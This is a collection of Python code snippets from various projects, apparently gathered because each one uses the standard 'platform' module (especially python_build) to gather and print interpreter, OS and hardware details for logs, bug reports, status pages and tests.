def TestPlatform( ): print ("----------Operation System--------------------------") # 取得 python 版本 print '取得 python 版本 : ' + platform.python_version() # 取得操作系統可執行結構 : ex('64bit','WindowsPE') print "取得操作系統可執行結構 : ex('64bit','WindowsPE')" print platform.architecture() # 電腦目前網路群組名稱 print '電腦目前網路群組名稱' + platform.node() # 獲取操作系統名稱及版本號,‘Windows-7-6.1.7601-SP1’ print '獲取操作系統名稱及版本號 : ' + platform.platform() # 電腦處理器資訊,’Intel64 Family 6 Model 42 Stepping 7, GenuineIntel’ print '電腦處理器資訊 : ' + platform.processor() # 獲取操作系統中 Python 的構建日期 print "獲取操作系統中 Python 的構建日期" print platform.python_build() # 獲取系統中 python 解釋器的信息 print '獲取系統中 python 解釋器的信息 : ' + platform.python_compiler() if platform.python_branch()=="": print platform.python_implementation() print platform.python_revision() print "platform.release : " + platform.release() print "platform.system : " + platform.system() #print platform.system_alias() # 獲取操作系統版本 print '獲取操作系統版本 : ' + platform.version()
def software (): soft = {} soft["Operative system"] = platform.platform() soft["Node"] = platform.uname()[1] soft["Python version"] = platform.python_version() soft["Python build number"] = platform.python_build()[0] soft["Python build date"] = platform.python_build()[1] soft["Python compiler"] = platform.python_compiler() return soft
def _python_installation(self): print("Information about the used Python environment") print(" Version:\t\t{0}".format(platform.python_version())) print(" Implementation:\t{0}".format(platform.python_implementation())) print(" Compiler:\t\t{0}".format(platform.python_compiler())) print(" Build:\t\t{0}, {1}".format(platform.python_build()[0], platform.python_build()[1])) print(" Location:\t\t{0}".format(sys.executable)) print(" Byteorder:\t\t{0}".format(sys.byteorder)) print
def get_text(co, fo, args): l = [] l.append(("version", platform.python_version())) l.append(("build", platform.python_build()[0])) l.append(("build date", platform.python_build()[1])) l.append(("compiler", platform.python_compiler())) if fileobj.util.is_python_version_or_ht(2, 6, 0): l.append(("implementation", platform.python_implementation())) l.append(("branch", platform.python_branch())) l.append(("revision", platform.python_revision())) l.append(("executable", sys.executable)) n = max([len(x[0]) for x in l]) f = "{{0:<{0}}} {{1}}".format(n) return [f.format(*x) for x in l]
def get_system_info(): """ Function to collect and display system information. """ python_info = { "version": platform.python_version(), "version_tuple:": platform.python_version_tuple(), "compiler": platform.python_compiler(), "build": platform.python_build(), } platform_info = {"platform": platform.platform(aliased=True)} os_and_hardware_info = { "uname:": platform.uname(), "system": platform.system(), "node": platform.node(), "release": platform.release(), "version": platform.version(), "machine": platform.machine(), "processor": platform.processor(), } executable_architecture_info = {"interpreter": platform.architecture(), "/bin/ls": platform.architecture("/bin/ls")} info = { "python_info": python_info, "platform_info": platform_info, "os_and_hardware_info": os_and_hardware_info, "executable_architecture_info": executable_architecture_info, } return info
def TestPlatform(): print ("---------- Operation System ----------") # 获取Python版本 print(platform.python_version()) # 获取操作系统可执行程序的结构,,(’32bit’, ‘WindowsPE’) print(platform.architecture()) # 计算机的网络名称,’acer-PC’ print(platform.node()) #获取操作系统名称及版本号,’Windows-7-6.1.7601-SP1′ print(platform.platform()) #计算机处理器信息,’Intel64 Family 6 Model 42 Stepping 7, GenuineIntel’ print(platform.processor()) # 获取操作系统中Python的构建日期 print(platform.python_build()) # 获取系统中python解释器的信息 print(platform.python_compiler()) if platform.python_branch() == "": print(platform.python_implementation()) print(platform.python_revision()) print(platform.release()) print(platform.system()) # 获取操作系统的版本 print(platform.version()) # 包含上面所有的信息汇总 print(platform.uname())
def get_python_info(): ret = {} ret['argv'] = _escape_shell_args(sys.argv) ret['bin'] = sys.executable # Even though compiler/build_date are already here, they're # actually parsed from the version string. So, in the rare case of # the unparsable version string, we're still transmitting it. ret['version'] = ' '.join(sys.version.split()) ret['compiler'] = platform.python_compiler() ret['build_date'] = platform.python_build()[1] ret['version_info'] = list(sys.version_info) ret['features'] = {'openssl': OPENSSL_VERSION, 'expat': EXPAT_VERSION, 'sqlite': SQLITE_VERSION, 'tkinter': TKINTER_VERSION, 'zlib': ZLIB_VERSION, 'unicode_wide': HAVE_UCS4, 'readline': HAVE_READLINE, '64bit': IS_64BIT, 'ipv6': HAVE_IPV6, 'threading': HAVE_THREADING, 'urandom': HAVE_URANDOM} return ret
def run_repl(hr=None, spy=False): import platform sys.ps1 = "=> " sys.ps2 = "... " namespace = {"__name__": "__console__", "__doc__": ""} with completion(Completer(namespace)): if not hr: hr = HyREPL(spy, namespace) hr.interact( "{appname} {version} using " "{py}({build}) {pyversion} on {os}".format( appname=hy.__appname__, version=hy.__version__, py=platform.python_implementation(), build=platform.python_build()[0], pyversion=platform.python_version(), os=platform.system(), ) ) return 0
def print_platform_info(): import platform logging.debug("*************** PLATFORM INFORMATION ************************") logging.debug("==Interpreter==") logging.debug("Version :" + platform.python_version()) logging.debug("Version tuple:" + str(platform.python_version_tuple())) logging.debug("Compiler :" + platform.python_compiler()) logging.debug("Build :" + str(platform.python_build())) logging.debug("==Platform==") logging.debug("Normal :" + platform.platform()) logging.debug("Aliased:" + platform.platform(aliased=True)) logging.debug("Terse :" + platform.platform(terse=True)) logging.debug("==Operating System and Hardware Info==") logging.debug("uname:" + str(platform.uname())) logging.debug("system :" + platform.system()) logging.debug("node :" + platform.node()) logging.debug("release :" + platform.release()) logging.debug("version :" + platform.version()) logging.debug("machine :" + platform.machine()) logging.debug("processor:" + platform.processor()) logging.debug("==Executable Architecture==") logging.debug("interpreter:" + str(platform.architecture())) logging.debug("/bin/ls :" + str(platform.architecture("/bin/ls"))) logging.debug("*******************************************************")
def get_machine_details(): if _debug: print 'Getting machine details...' buildno, builddate = platform.python_build() python = platform.python_version() try: unichr(100000) except ValueError: # UCS2 build (standard) unicode = 'UCS2' except NameError: unicode = None else: # UCS4 build (most recent Linux distros) unicode = 'UCS4' bits, linkage = platform.architecture() return { 'platform': platform.platform(), 'processor': platform.processor(), 'executable': sys.executable, 'implementation': getattr(platform, 'python_implementation', lambda:'n/a')(), 'python': platform.python_version(), 'compiler': platform.python_compiler(), 'buildno': buildno, 'builddate': builddate, 'unicode': unicode, 'bits': bits, }
def print_platform_info(): import platform logging.debug('*************** PLATFORM INFORMATION ************************') logging.debug('==Interpreter==') logging.debug('Version :' + platform.python_version()) logging.debug('Version tuple:' + str(platform.python_version_tuple())) logging.debug('Compiler :' + platform.python_compiler()) logging.debug('Build :' + str(platform.python_build())) logging.debug('==Platform==') logging.debug('Normal :' + platform.platform()) logging.debug('Aliased:' + platform.platform(aliased=True)) logging.debug('Terse :' + platform.platform(terse=True)) logging.debug('==Operating System and Hardware Info==') logging.debug('uname:' + str(platform.uname())) logging.debug('system :' + platform.system()) logging.debug('node :' + platform.node()) logging.debug('release :' + platform.release()) logging.debug('version :' + platform.version()) logging.debug('machine :' + platform.machine()) logging.debug('processor:' + platform.processor()) logging.debug('==Executable Architecture==') logging.debug('interpreter:' + str(platform.architecture())) logging.debug('/bin/ls :' + str(platform.architecture('/bin/ls'))) logging.debug('*******************************************************')
def get_machine_details(): import platform if _debug: print 'Getting machine details...' buildno, builddate = platform.python_build() python = platform.python_version() if python > '2.0': try: unichr(100000) except ValueError: # UCS2 build (standard) unicode = 'UCS2' else: # UCS4 build (most recent Linux distros) unicode = 'UCS4' else: unicode = None bits, linkage = platform.architecture() return { 'platform': platform.platform(), 'processor': platform.processor(), 'executable': sys.executable, 'python': platform.python_version(), 'compiler': platform.python_compiler(), 'buildno': buildno, 'builddate': builddate, 'unicode': unicode, 'bits': bits, }
def get_debug_info(civcoms): code = "<html><head><meta http-equiv=\"refresh\" content=\"20\">" \ + "<link href='/css/bootstrap.min.css' rel='stylesheet'></head>" \ + "<body><div class='container'>" \ + "<h2>Freeciv WebSocket Proxy Status</h2>" \ + "<font color=\"green\">Process status: OK</font><br>" code += "<b>Process Uptime: " + \ str(int(time.time() - startTime)) + " s.</b><br>" code += ("Python version: %s %s (%s)<br>" % ( platform.python_implementation(), platform.python_version(), platform.python_build()[0], )) cpu = ' '.join(platform.processor().split()) code += ("Platform: %s %s on '%s' <br>" % ( platform.machine(), platform.system(), cpu)) code += ("Tornado version %s <br>" % (tornado_version)) try: f = open("/proc/loadavg") contents = f.read() code += "Load average: " + contents f.close() except: print("Cannot open uptime file: /proc/uptime") try: code += "<h3>Memory usage:</h3>" code += "Memory: " + str(memory() / 1048576) + " MB <br>" code += "Resident: " + str(resident() / 1048576) + " MB <br>" code += "Stacksize: " + str(stacksize() / 1048576) + " MB <br>" try: code += "Garabage collection stats: " + str(gc.get_stats()) + " <br>" code += "Garabage list: " + str(gc.garbage) + " <br>" except AttributeError: pass code += ("<h3>Logged in users (count %i) :</h3>" % len(civcoms)) for key in list(civcoms.keys()): code += ( "username: <b>%s</b> <br>IP:%s <br>Civserver: (%d)<br>Connect time: %d<br><br>" % (civcoms[key].username, civcoms[key].civwebserver.ip, civcoms[key].civserverport, time.time() - civcoms[key].connect_time)) except: print(("Unexpected error:" + str(sys.exc_info()[0]))) raise code += "</div></body></html>" return code
def test_current_version(self): ver = Version.objects.get(pk=1) data = {} data["version"] = ver.version data["os.name"] = platform.system() data["os.arch"] = platform.machine() data["os.version"] = getOSVersion() data["python.version"] = platform.python_version() data["python.compiler"] = platform.python_compiler() data["python.build"] = platform.python_build() hit_url = reverse('registry_hit') request = self.factory.get(hit_url, data, HTTP_USER_AGENT='OMERO.test') response = views_hit(request) self.assertEqual(response.status_code, 200) self.assertEqual(response.content, '') hit = Hit.objects.get(agent_version=data["version"]) self.assertEqual(hit.agent.agent_name, 'OMERO.test') self.assertEqual(hit.os_name, data["os.name"]) self.assertEqual(hit.os_arch, data["os.arch"]) self.assertEqual(hit.os_version, data["os.version"]) self.assertEqual(hit.python_version, data["python.version"]) self.assertEqual(hit.python_compiler, data["python.compiler"][:50]) self.assertEqual(hit.python_build, data["python.build"][1])
def get_python_info(): ret = {} ret["argv"] = _escape_shell_args(sys.argv) ret["bin"] = sys.executable # Even though compiler/build_date are already here, they're # actually parsed from the version string. So, in the rare case of # the unparsable version string, we're still transmitting it. ret["version"] = " ".join(sys.version.split()) ret["compiler"] = platform.python_compiler() ret["build_date"] = platform.python_build()[1] ret["version_info"] = list(sys.version_info) ret["features"] = { "openssl": OPENSSL_VERSION, "expat": EXPAT_VERSION, "sqlite": SQLITE_VERSION, "tkinter": TKINTER_VERSION, "zlib": ZLIB_VERSION, "unicode_wide": HAVE_UCS4, "readline": HAVE_READLINE, "64bit": IS_64BIT, "ipv6": HAVE_IPV6, "threading": HAVE_THREADING, "urandom": HAVE_URANDOM, } return ret
def get_machine_details(): if _debug: print('Getting machine details...') buildno, builddate = platform.python_build() python = platform.python_version() # XXX this is now always UCS4, maybe replace it with 'PEP393' in 3.3+? if sys.maxunicode == 65535: # UCS2 build (standard) unitype = 'UCS2' else: # UCS4 build (most recent Linux distros) unitype = 'UCS4' bits, linkage = platform.architecture() return { 'platform': platform.platform(), 'processor': platform.processor(), 'executable': sys.executable, 'implementation': getattr(platform, 'python_implementation', lambda:'n/a')(), 'python': platform.python_version(), 'compiler': platform.python_compiler(), 'buildno': buildno, 'builddate': builddate, 'unicode': unitype, 'bits': bits, }
def main(): nltk.download('stopwords') nltk.download('vader_lexicon') print("\n================================================================================\n") print("---------------------------------- Platform Information ------------------------") print('machine: {}'.format(platform.machine())) print('node: {}'.format(platform.node())) print('processor: {}'.format(platform.processor())) print('release: {}'.format(platform.release())) print('system: {}'.format(platform.system())) print('version: {}'.format(platform.version())) print('uname: {}'.format(platform.uname())) #mem = virtual_memory() #print('memory: {}'.format(mem.total)) # total physical memory available print('python_build: {}'.format(platform.python_build())) print('python_compiler: {}'.format(platform.python_compiler())) print('python_branch: {}'.format(platform.python_branch())) print('python_implementation: {}'.format(platform.python_implementation())) print('python_revision: {}'.format(platform.python_revision())) print('python_version: {}'.format(platform.python_version())) print("\n================================================================================\n")
def main(): print("platform.architecture: {}".format(p.architecture())); print("platform.machine: {}".format(p.machine())); print("platform.node: {}".format(p.node())); print("platform.processor: {}".format(p.processor())); print("platform.python_build: {}".format(p.python_build())); print("platform.python_compiler: {}".format(p.python_compiler())); print("platform.python_branch: {}".format(p.python_branch())); print("platform.python_implementation: {}".format(p.python_implementation())); print("platform.python_revision: {}".format(p.python_revision())); print("platform.python_version: {}".format(p.python_version())); print("platform.python_version_tuple: {}".format(p.python_version_tuple())); print("platform.release: {}".format(p.release())); print("platform.system: {}".format(p.system())); #print("platform.system_alias: {}".format(p.system_alias())); print("platform.version: {}".format(p.version())); print("platform.uname: {}".format(p.uname())); print("platform.win32_ver: {}".format(p.win32_ver()));
def get_system_details(): """Return a dictionary with information about the system """ buildno, builddate = platform.python_build() python = platform.python_version() if sys.maxunicode == 65535: # UCS2 build (standard) unitype = 'UCS2' else: # UCS4 build (most recent Linux distros) unitype = 'UCS4' bits, linkage = platform.architecture() from . import ctwrapper return { 'platform': platform.platform(), 'processor': platform.processor(), 'executable': sys.executable, 'implementation': getattr(platform, 'python_implementation', lambda:'n/a')(), 'python': platform.python_version(), 'compiler': platform.python_compiler(), 'buildno': buildno, 'builddate': builddate, 'unicode': unitype, 'bits': bits, 'visa': get_library_paths(ctwrapper) }
def _set_sys_info(self): # Don't do this if system info has been set if self._sys_info_set: return self._sys_info = {} # Get OS-specific info self._sys_info['system'] = platform.system() if self._sys_info['system'] == 'Linux': self._sys_info['os_version'] = self._tup_to_flat_str(platform.linux_distribution()) self._sys_info['libc_version'] = self._tup_to_flat_str(platform.libc_ver()) elif self._sys_info['system'] == 'Darwin': self._sys_info['os_version'] = self._tup_to_flat_str(platform.mac_ver()) elif self._sys_info['system'] == 'Windows': self._sys_info['os_version'] = self._tup_to_flat_str(platform.win32_ver()) elif self._sys_info['system'] == 'Java': self._sys_info['os_version'] = self._tup_to_flat_str(platform.java_ver()) # Python specific stuff self._sys_info['python_implementation'] = platform.python_implementation() self._sys_info['python_version'] = platform.python_version() self._sys_info['python_build'] = self._tup_to_flat_str(platform.python_build()) # Get architecture info self._sys_info['architecture'] = self._tup_to_flat_str(platform.architecture()) self._sys_info['platform'] = platform.platform() self._sys_info['num_cpus'] = NUM_CPUS # Get RAM size self._sys_info['total_mem'] = TOTAL_PHYMEM self._sys_info_set = True
def build_system(self): """ from https://github.com/Dreyer/pyinfo/blob/master/pyinfo.py """ system = { 'path': False, 'os_path': False, 'os_version': False, 'version': False, 'subversion': False, 'prefix': False, 'build_date': platform.python_build()[1], 'executable': False, 'compiler': platform.python_compiler(), 'api_version': False, 'implementation': platform.python_implementation(), 'system': platform.system(), } if platform.dist()[0] != '' and platform.dist()[1] != '': system['os_version'] = '%s %s (%s %s)' % ( platform.system(), platform.release(), platform.dist()[0].capitalize(), platform.dist()[1] ) else: system['os_version'] = '%s %s' % ( platform.system(), platform.release() ) if hasattr( os, 'path' ): system['os_path'] = os.environ['PATH'] if hasattr( sys, 'version' ): system['version'] = platform.python_version() if hasattr( sys, 'subversion' ): system['subversion'] = ', '.join( sys.subversion ) if hasattr( sys, 'prefix' ): system['prefix'] = sys.prefix if hasattr( sys, 'path' ): system['path'] = sys.path if hasattr( sys, 'executable' ): system['executable'] = sys.executable if hasattr( sys, 'api_version' ): system['api'] = sys.api_version self.system = system
def get_sys_info(): sys_info = {} # Get OS-specific info sys_info['system'] = platform.system() if sys_info['system'] == 'Linux': sys_info['os_version'] = _tup_to_flat_str(platform.linux_distribution()) sys_info['libc_version'] = _tup_to_flat_str(platform.libc_ver()) elif sys_info['system'] == 'Darwin': sys_info['os_version'] = _tup_to_flat_str(platform.mac_ver()) elif sys_info['system'] == 'Windows': sys_info['os_version'] = _tup_to_flat_str(platform.win32_ver()) elif sys_info['system'] == 'Java': sys_info['os_version'] = _tup_to_flat_str(platform.java_ver()) # Python specific stuff sys_info['python_implementation'] = platform.python_implementation() sys_info['python_version'] = platform.python_version() sys_info['python_build'] = _tup_to_flat_str(platform.python_build()) sys_info['python_executable'] = sys.executable # Launcher specific stuff sys_info['dato_launcher'] = 'DATO_LAUNCHER' in os.environ sys_info['graphlab_create_launcher'] = 'GRAPHLAB_CREATE_LAUNCHER' in os.environ # Get architecture info sys_info['architecture'] = _tup_to_flat_str(platform.architecture()) sys_info['platform'] = platform.platform() sys_info['num_cpus'] = NUM_CPUS # Get RAM size sys_info['total_mem'] = TOTAL_PHYMEM return sys_info
def display_platform_information(): """ Display platform information. """ import platform output_string = '\n-- INFORMATION: PLATFORM & OS ---------\n' try: output_string = add_param_to_output(output_string, 'OS', platform.platform()) output_string = add_param_to_output(output_string, 'OS release version', platform.version()) output_string = add_param_to_output(output_string, 'machine', platform.machine()) output_string = add_param_to_output(output_string, 'node', platform.node()) output_string = add_param_to_output(output_string, 'python version', platform.python_version()) output_string = add_param_to_output(output_string, 'python build', platform.python_build()) output_string = add_param_to_output(output_string, 'python compiler', platform.python_compiler()) except Exception: output_string += 'Some platform information cannot be displayed\n' output_string += '----------------------------------------' neon_logger.display(output_string)
def get_system_details(visa=True): """Return a dictionary with information about the system """ buildno, builddate = platform.python_build() if sys.maxunicode == 65535: # UCS2 build (standard) unitype = 'UCS2' else: # UCS4 build (most recent Linux distros) unitype = 'UCS4' bits, linkage = platform.architecture() d = { 'platform': platform.platform(), 'processor': platform.processor(), 'executable': sys.executable, 'implementation': getattr(platform, 'python_implementation', lambda: 'n/a')(), 'python': platform.python_version(), 'compiler': platform.python_compiler(), 'buildno': buildno, 'builddate': builddate, 'unicode': unitype, 'bits': bits, 'pyvisa': __version__ } if visa: from . import ctwrapper d['visa'] = ctwrapper.WRAPPER_CLASS.get_library_paths(LibraryPath, read_user_library_path()) return d
def get_python_info(f): """ This function will capture specific Python information, such as version number, compiler, and build. """ f.write('\n\n================PYTHON INFORMATION================\n') f.write('Python Version: ') vers = platform.python_version() f.write(vers) split_vers = vers.split('.') f_zero = float(split_vers[0]) f_one = float(split_vers[1]) if ((f_zero != 2) or (f_one < 7)): f.write('\nERROR: OpenMDAO WILL NOT WORK with a python version before 2.7 or after 3.0') f.write('\n') f.write('Python Compiler: ') f.write(platform.python_compiler()) f.write('\n') f.write('Python Build: ') f.write(str(platform.python_build())) f.write('\n') f.write('Python Path: \n') for subp in sys.path: f.write(" "+str(subp)+"\n") f.write('\n')
def makeLog(): msg = '' msg += "sys.version = %s\n" % (sys.version) msg += "sys.version_info = %s\n" % (str(sys.version_info)) msg += "machine = %s\n" % (platform.machine()) msg += "platform = %s\n" % (platform.platform()) msg += "processor = %s\n" % (platform.processor()) msg += "architecure = %s\n" % (str(platform.architecture())) #msg += "os = %s\n" %(platform.os()) msg += "python_branch = %s\n" % (platform.python_branch()) msg += "python_revision = %s\n" % (platform.python_revision()) msg += "win32_ver = %s\n" % (str(platform.win32_ver())) msg += "version = %s\n" % (platform.version()) msg += "uname = %s\n" % (str(platform.uname())) msg += "system = %s\n" % (platform.system()) msg += "python_build = %s\n" % (str(platform.python_build())) msg += "python_compiler = %s\n" % (platform.python_compiler()) msg += "python_implementation = %s\n" % (platform.python_implementation()) msg += "system = %s\n" % (platform.system()) #msg += "system_alias = %s\n" %(platform.system_alias()) msg += "mac_ver = %s\n" % (str(platform.mac_ver())) msg += "linux_distribution = %s\n" % ( str(platform.linux_distribution())) msg += "libc_ver = %s\n" % (str(platform.libc_ver())) print msg f = open('pyNastran.log', 'w') f.write(msg) f.close()
def test_old_version(self): ver = Version.objects.get(pk=1) data = {} data["version"] = '0.0.0' data["os.name"] = platform.system() data["os.arch"] = platform.machine() data["os.version"] = getOSVersion() data["python.version"] = platform.python_version() data["python.compiler"] = platform.python_compiler() data["python.build"] = platform.python_build() hit_url = reverse('registry_hit') request = self.factory.get(hit_url, data, HTTP_USER_AGENT='OMERO.test') response = views_hit(request) self.assertEqual(response.status_code, 200) self.assertEqual( response.content, ('Please upgrade to %s. See ' 'http://downloads.openmicroscopy.org/latest-stable/omero' ' for the latest version.') % ver.version) hit = Hit.objects.get(agent_version=data["version"]) self.assertEqual(hit.agent.agent_name, 'OMERO.test') self.assertEqual(hit.os_name, data["os.name"]) self.assertEqual(hit.os_arch, data["os.arch"]) self.assertEqual(hit.os_version, data["os.version"]) self.assertEqual(hit.python_version, data["python.version"]) self.assertEqual(hit.python_compiler, data["python.compiler"][:50]) self.assertEqual(hit.python_build, data["python.build"][1])
def platform(self): print print "platform :" print "Version :", platform.python_version() print "Version tuple:", platform.python_version_tuple() print "Compiler :", platform.python_compiler() print "Build :", platform.python_build()
def print_python_env(): print('-------------------------------------------------------------') print('Interpreter') print('platform.python_version: ', platform.python_version()) print('platform.python_compiler: ', platform.python_compiler()) print('platform.python_build: ', platform.python_build()) print() print('Platform') print('platform.platform(Normal): ', platform.platform()) print('platform.platform(Aliased): ', platform.platform(aliased=True)) print('platform.platform(Terse): ', platform.platform(terse=True)) print() print('Operating System and Hardware Info') print('platform.uname: ', platform.uname()) print('platform.system: ', platform.system()) print('platform.node: ', platform.node()) print('platform.release: ', platform.release()) print('platform.version: ', platform.version()) print('platform.machine: ', platform.machine()) print('platform.processor: ', platform.processor()) print() print('Executable Architecture') print('platform.architecture: ', platform.architecture()) #print() #print('OS') #print('os.uname: ', os.uname()) #print('os.getcwd: ', os.getcwd()) print() print('Network') print('socket.gethostname: ', socket.gethostname()) print('socket.gethostbyname ', socket.gethostbyname(socket.gethostname())) print('-------------------------------------------------------------')
def report(self, *args): report = "" report += self.entry.text.replace("(optional)", "") + "\n\n---\n\n" report += "**Application:** {0}\n".format(APP_NAME) report += "**Version:** {0}\n".format(APP_VERSION) report += "**Platform:** {0}\n".format(platform) report += "**Distro:** {0}\n".format(platfm.dist()) report += "**OS release:** {0}\n".format(platfm.release()) if platform == "macosx": report += "**Mac version:** {0}\n".format(platfm.mac_ver) if platform == "win": report += "**Win32 version:** {0}\n".format(platfm.win32_ver()) report += "**Uname:** {0}\n".format(platfm.uname()) report += "**Python version:** {0}\n".format(platfm.python_version()) report += "**Python branch:** {0}\n".format(platfm.python_branch()) report += "**Python revision:** {0}\n".format(platfm.python_revision()) report += "**Python build:** {0}\n".format(platfm.python_build()) report += "**Python implementation:** {0}\n".format(platfm.python_implementation()) report += "**Python compiler:** {0}\n".format(platfm.python_compiler()) report += "**Kivy version:** {0}\n".format(kivy.__version__) report += "**Prefix:** {0}\n".format(sys.prefix) report += "\n\n---\n\n<pre>\n" report += self.exception report += "</pre>" exc = traceback.format_exception_only(*self.exc_info[0:2])[0].split(":")[0] last = traceback.format_tb(self.exc_info[-1])[-1].replace(" File", "file").split("\n")[0].replace(misc.home, "~") title = "{exception} in {file}".format(exception=exc, file=last) from urllib import quote open_url("https://github.com/Davideddu/Karaokivy/issues/new?title={title}&body={body}&labels=bug".format(title=quote(title), body=quote(report))) self.quit()
# coding=utf-8 import platform print platform.system() print platform.version() print platform.release() print platform.dist() print platform.uname() print platform.node() print platform.platform() print platform.machine() print platform.processor() print platform.architecture() print platform._sys_version() print platform.java_ver() print platform.python_version() print platform.python_implementation() print platform.python_version_tuple() print platform.python_branch() print platform.python_compiler() print platform.python_build() print platform.win32_ver() print platform.mac_ver() print platform.linux_distribution() print platform.popen('ifconfig', 'w')
def test_sys_version(self): # Old test. for input, output in ( ('2.4.3 (#1, Jun 21 2006, 13:54:21) \n[GCC 3.3.4 (pre 3.3.5 20040809)]', ('CPython', '2.4.3', '', '', '1', 'Jun 21 2006 13:54:21', 'GCC 3.3.4 (pre 3.3.5 20040809)')), ('IronPython 1.0.60816 on .NET 2.0.50727.42', ('IronPython', '1.0.60816', '', '', '', '', '.NET 2.0.50727.42')), ('IronPython 1.0 (1.0.61005.1977) on .NET 2.0.50727.42', ('IronPython', '1.0.0', '', '', '', '', '.NET 2.0.50727.42')), ('2.4.3 (truncation, date, t) \n[GCC]', ('CPython', '2.4.3', '', '', 'truncation', 'date t', 'GCC')), ('2.4.3 (truncation, date, ) \n[GCC]', ('CPython', '2.4.3', '', '', 'truncation', 'date', 'GCC')), ('2.4.3 (truncation, date,) \n[GCC]', ('CPython', '2.4.3', '', '', 'truncation', 'date', 'GCC')), ('2.4.3 (truncation, date) \n[GCC]', ('CPython', '2.4.3', '', '', 'truncation', 'date', 'GCC')), ('2.4.3 (truncation, d) \n[GCC]', ('CPython', '2.4.3', '', '', 'truncation', 'd', 'GCC')), ('2.4.3 (truncation, ) \n[GCC]', ('CPython', '2.4.3', '', '', 'truncation', '', 'GCC')), ('2.4.3 (truncation,) \n[GCC]', ('CPython', '2.4.3', '', '', 'truncation', '', 'GCC')), ('2.4.3 (truncation) \n[GCC]', ('CPython', '2.4.3', '', '', 'truncation', '', 'GCC')), ): # branch and revision are not "parsed", but fetched # from sys._git. Ignore them (name, version, branch, revision, buildno, builddate, compiler) \ = platform._sys_version(input) self.assertEqual( (name, version, '', '', buildno, builddate, compiler), output) # Tests for python_implementation(), python_version(), python_branch(), # python_revision(), python_build(), and python_compiler(). sys_versions = { ("2.6.1 (r261:67515, Dec 6 2008, 15:26:00) \n[GCC 4.0.1 (Apple Computer, Inc. build 5370)]", ('CPython', 'tags/r261', '67515'), self.save_platform): ("CPython", "2.6.1", "tags/r261", "67515", ('r261:67515', 'Dec 6 2008 15:26:00'), 'GCC 4.0.1 (Apple Computer, Inc. build 5370)'), ("IronPython 2.0 (2.0.0.0) on .NET 2.0.50727.3053", None, "cli"): ("IronPython", "2.0.0", "", "", ("", ""), ".NET 2.0.50727.3053"), ("2.6.1 (IronPython 2.6.1 (2.6.10920.0) on .NET 2.0.50727.1433)", None, "cli"): ("IronPython", "2.6.1", "", "", ("", ""), ".NET 2.0.50727.1433"), ("2.7.4 (IronPython 2.7.4 (2.7.0.40) on Mono 4.0.30319.1 (32-bit))", None, "cli"): ("IronPython", "2.7.4", "", "", ("", ""), "Mono 4.0.30319.1 (32-bit)"), ("2.5 (trunk:6107, Mar 26 2009, 13:02:18) \n[Java HotSpot(TM) Client VM (\"Apple Computer, Inc.\")]", ('Jython', 'trunk', '6107'), "java1.5.0_16"): ("Jython", "2.5.0", "trunk", "6107", ('trunk:6107', 'Mar 26 2009'), "java1.5.0_16"), ("2.5.2 (63378, Mar 26 2009, 18:03:29)\n[PyPy 1.0.0]", ('PyPy', 'trunk', '63378'), self.save_platform): ("PyPy", "2.5.2", "trunk", "63378", ('63378', 'Mar 26 2009'), "") } for (version_tag, scm, sys_platform), info in \ sys_versions.items(): sys.version = version_tag if scm is None: if hasattr(sys, "_git"): del sys._git else: sys._git = scm if sys_platform is not None: sys.platform = sys_platform self.assertEqual(platform.python_implementation(), info[0]) self.assertEqual(platform.python_version(), info[1]) self.assertEqual(platform.python_branch(), info[2]) self.assertEqual(platform.python_revision(), info[3]) self.assertEqual(platform.python_build(), info[4]) self.assertEqual(platform.python_compiler(), info[5])
print("platform.system() -> ", platform.system()) print("platform.node() -> ", platform.node()) print("platform.release() -> ", platform.release()) print("platform.version() -> ", platform.version()) print("platform.machine() -> ", platform.machine()) print("platform.processor() -> ", platform.processor()) print("\nplatform.libc_ver() -> ", platform.libc_ver()) print("platform.linux_distribution() -> ", platform.linux_distribution()) print("platform.dist() -> ", platform.dist()) print("platform.popen(\"ls - l\").read() -> ", platform.popen("ls -l").read()) print("\nplatform.python_version() -> ", platform.python_version()) print("platform.python_version_tuple() -> ", platform.python_version_tuple()) print("platform.python_branch() -> ", platform.python_branch()) print("platform.python_build() -> ", platform.python_build()) print("platform.python_compiler() -> ", platform.python_compiler()) print("platform.python_implementation() -> ", platform.python_implementation()) print("platform.python_revision() -> ", platform.python_revision()) print(platform.java_ver()) print("\nplatform.mac_ver() -> ", platform.mac_ver()) print("platform.win32_ver() -> ", platform.win32_ver()) print( "\nplatform.system_alias(platform.system(), platform.release(), platform.version()) -> ", platform.system_alias(platform.system(), platform.release(), platform.version())) print("platform.machine() -> ", platform.machine()) print("platform.processor() -> ", platform.processor())
def test_python_build(self): res = platform.python_build()
# import the platform module import platform # print python build date print("Date: ",platform.python_build())
|| MacBook || || _/ || || (_< || |_____________| | ___ | |_____________| """) MyNamesComputer = socket.gethostname() # 1 iPmyComputer = socket.gethostbyname(MyNamesComputer) #6 MySystem = platform.system() #2 Uname = platform.uname() #4 Machine = platform.machine() #8 BuildPython = platform.python_build() Comp = platform.python_compiler() VerP = platform.python_version() MyProcessor = platform.processor() #7 Platfor = platform.platform() # 5 # here's will printed print("Your Computer Name : ", MyNamesComputer) print("\n\nYour OS : ", MySystem) print("\n\nYour system : ", Uname) print("\n\nYour Computer : ", Platfor) print("\n\nYour IP Address : ", iPmyComputer) print("\n\nYour Porcessor is : ", MyProcessor) print("\n\nYour Machine is : ", Machine) print("\n\nBuild python in : ", BuildPython) print("\n\nVersion Python : ", VerP) print("\n\nCompleier Python : ", Comp)
def printRevisionHistory(): print('Python Version: ' + platform.python_version()) print('Python Compiler: ' + platform.python_compiler()) print('Python Built: ' + platform.python_build()[1]) print() print(''' revision history: 1.3.0: added command (/c) 1.4.0: added character count (/h) 1.4.1: character count bug fix 1.5.0: added grep (/g, /G) 1.5.1: fixed character ranges and added "!r" removed unnecessary "!A", "!I", "!O", and "!P" 1.5.2: fixed blatant memory leak and filename output, added compression ratio output (/O) 1.5.3: switched to DirectoryEnt standard wild cards rather than translating them myself; correctly reports when it cannot open a file 1.5.4: completely rewrote GFileName class 1.5.4.1: outputs total number of files 1.5.4.2: minor workaround related to GFileName 1.5.4.3: now uses RDirIterator 1.6.0: now uses a cleaner, simpler GDirIterator and fixed wildcard compare 1.6.0.1: converted from VC5 to VC6 1.7.0: added duplicate searching (/u) 1.7.1: /u now sorts much faster 1.7.2: better output for /u 1.7.3: file compare now works for binary files, also duplicate detection is now much more efficient (eliminated unnecessary file comparisons) 1.7.4: added unqiue file searching (/q) 1.7.4.1: modified to use RickLib 1.7.4.2: many, many RickLib fixes 1.7.4.3: added "%*" support to GString in RickLib 1.7.4.4: more bugfixes related to RickLib 1.7.4.5: modified to use the new 